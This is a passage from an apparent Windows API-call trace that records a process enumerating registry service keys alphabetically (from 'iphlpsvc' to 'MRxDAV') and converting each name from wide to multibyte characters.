lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0239.590] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0239.591] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0239.591] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0239.591] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0239.591] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0239.591] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0239.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0239.592] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0239.592] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0239.592] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0239.592] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0239.592] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0239.593] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0239.593] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0239.593] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0239.593] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0239.593] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0239.593] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0239.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0239.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0239.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0239.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0239.594] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0239.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0239.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0239.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0239.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0239.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0239.595] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1d60, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0239.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0239.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0239.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0239.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0239.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0239.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0239.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1928, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0239.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0239.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0239.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0239.598] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0239.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.598] WideCharToMultiByte (in: 